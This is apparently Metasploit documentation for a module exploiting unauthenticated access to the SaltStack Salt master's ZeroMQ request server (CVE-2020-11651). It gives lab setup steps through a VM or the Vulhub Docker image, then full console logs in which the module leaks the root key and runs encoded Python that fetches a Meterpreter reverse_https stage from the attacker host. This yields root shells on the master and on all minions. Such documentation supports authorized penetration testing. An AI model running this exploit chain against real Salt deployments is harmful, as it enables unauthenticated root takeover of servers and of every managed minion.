## Vulnerable Application ### Description This module exploits unauthenticated access to the `runner()` and `_send_pub()` methods in the SaltStack Salt master's ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image. ### Setup **Note:** I did the bulk of my testing after manually installing Salt in an [Ubuntu 18.04 VM](#using-a-virtual-machine), but the [Docker image from Vulhub](#using-docker) may be quicker. YMMV. #### Using a virtual machine 1. Set up an Ubuntu 18.04 VM 2. Browse to [SaltStack's instructions for Ubuntu](https://repo.saltstack.com/#ubuntu) 3. Select `Pin to Minor Release` and change all versions to either **2019.2.3** or **3000.1**, depending on the version you wish to test 4. Follow the instructions, installing only the `salt-master` and `salt-minion` packages necessary for testing 5. Follow the [post-installation configuration](https://docs.saltstack.com/en/latest/ref/configuration/index.html) You may now begin testing. #### Using Docker **Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and [Docker Compose](https://docs.docker.com/compose/install/) must be installed first. **Note:** The Salt master is already configured and running in the following scenario. The majority of the steps below are for configuring and starting the minion. Version **2019.2.3** will be used. 1. Run `git clone https://github.com/vulhub/vulhub` 2. Run `cd vulhub/saltstack/CVE-2020-11651` 3. Run `docker-compose up -d` to start the container in the background 4. Run `docker exec -it cve-2020-11651_saltstack_1 bash` to drop to a root shell inside the container 5. Run `echo $'127.0.0.1\tsalt' >> /etc/hosts` to add the master to `/etc/hosts` (this allows the minion to find the master) 6. Run `salt-minion -d` to execute the minion in the background 7. Run `salt-key -A` and accept the key for the minion You may now begin testing. ## Verification Steps Follow [Setup](#setup) and [Scenarios](#scenarios). ## Targets ### Master (Python payload) This executes a Python payload on the master(s) specified by `RHOST(S)`. ### Master (Unix command) This executes a Unix command payload on the master(s) specified by `RHOST(S)`. ### Minions (Python payload) This executes a Python payload on the minions specified by the `MINIONS` option. ### Minions (Unix command) This executes a Unix command payload on the minions specified by the `MINIONS` option. ## Options ### ROOT_KEY If you already have the master's root key, you may set it in this option. Note that the master regenerates the root key on each startup. ### MINIONS This is the PCRE regex of minions to execute the payload on. Defaults to `.*` for all minions. ### WfsDelay Set this to the number of seconds to wait for **all** sessions to come in. Defaults to **10 seconds**, though the exploit may wait up to 20 seconds. ## Scenarios ### SaltStack Salt 2019.2.3 on Ubuntu 18.04 #### Executing Python payload on the master ``` msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets Exploit targets: Id Name -- ---- 0 Master (Python payload) 1 Master (Unix command) 2 Minions (Python payload) 3 Minions (Unix command) msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options Module options (exploit/linux/misc/saltstack_salt_unauth_rce): Name Current Setting Required Description ---- --------------- -------- ----------- MINIONS .* yes PCRE regex of minions to target RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' ROOT_KEY no Master's root key if you have it RPORT 4506 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (python/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path Exploit target: Id Name -- ---- 0 Master (Python payload) msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5 rhosts => 172.28.128.5 msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1 lhost => 172.28.128.1 msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run [*] Started HTTPS reverse handler on https://172.28.128.1:8443 [*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check [*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506 [*] 172.28.128.5:4506 - Negotiating signature [+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F" [*] 172.28.128.5:4506 - Sending identical signature [*] 172.28.128.5:4506 - Negotiating version [+] 172.28.128.5:4506 - Received compatible version: "\x03" [*] 172.28.128.5:4506 - Sending identical version [*] 172.28.128.5:4506 - Negotiating NULL security mechanism [+] 172.28.128.5:4506 - Received NULL security mechanism [*] 172.28.128.5:4506 - Sending NULL security mechanism [*] 172.28.128.5:4506 - Sending READY command of type REQ [+] 172.28.128.5:4506 - Received READY reply of type ROUTER [*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506 [+] 172.28.128.5:4506 - Received serialized auth info [+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk= [*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506 [*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506 [*] 172.28.128.5:4506 - Negotiating signature [+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F" [*] 172.28.128.5:4506 - Sending identical signature [*] 172.28.128.5:4506 - Negotiating version [+] 172.28.128.5:4506 - Received compatible version: "\x03" [*] 172.28.128.5:4506 - Sending identical version [*] 172.28.128.5:4506 - Negotiating NULL security mechanism [+] 172.28.128.5:4506 - Received NULL security mechanism [*] 172.28.128.5:4506 - Sending NULL security mechanism [*] 172.28.128.5:4506 - Sending READY command of type REQ [+] 172.28.128.5:4506 - Received READY reply of type ROUTER [*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https [*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506 [*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0])) [*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="} [+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303" [*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ... [*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500 [*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506 meterpreter > getuid Server username: root meterpreter > sysinfo Computer : ubuntu-bionic OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020 Architecture : x64 System Language : C Meterpreter : python/linux meterpreter > ``` #### Executing Python payload on the minions ``` msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload) target => Minions (Python payload) msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run [*] Started HTTPS reverse handler on https://172.28.128.1:8443 [*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506 [*] 172.28.128.5:4506 - Negotiating signature [+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F" [*] 172.28.128.5:4506 - Sending identical signature [*] 172.28.128.5:4506 - Negotiating version [+] 172.28.128.5:4506 - Received compatible version: "\x03" [*] 172.28.128.5:4506 - Sending identical version [*] 172.28.128.5:4506 - Negotiating NULL security mechanism [+] 172.28.128.5:4506 - Received NULL security mechanism [*] 172.28.128.5:4506 - Sending NULL security mechanism [*] 172.28.128.5:4506 - Sending READY command of type REQ [+] 172.28.128.5:4506 - Received READY reply of type ROUTER [*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https [*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506 [*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0])) [*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))"]} [+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0" [*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ... [*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500 [+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893 [*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506 meterpreter > getuid Server username: root meterpreter > sysinfo Computer : ubuntu-bionic OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020 Architecture : x64 System Language : C Meterpreter : python/linux meterpreter > ```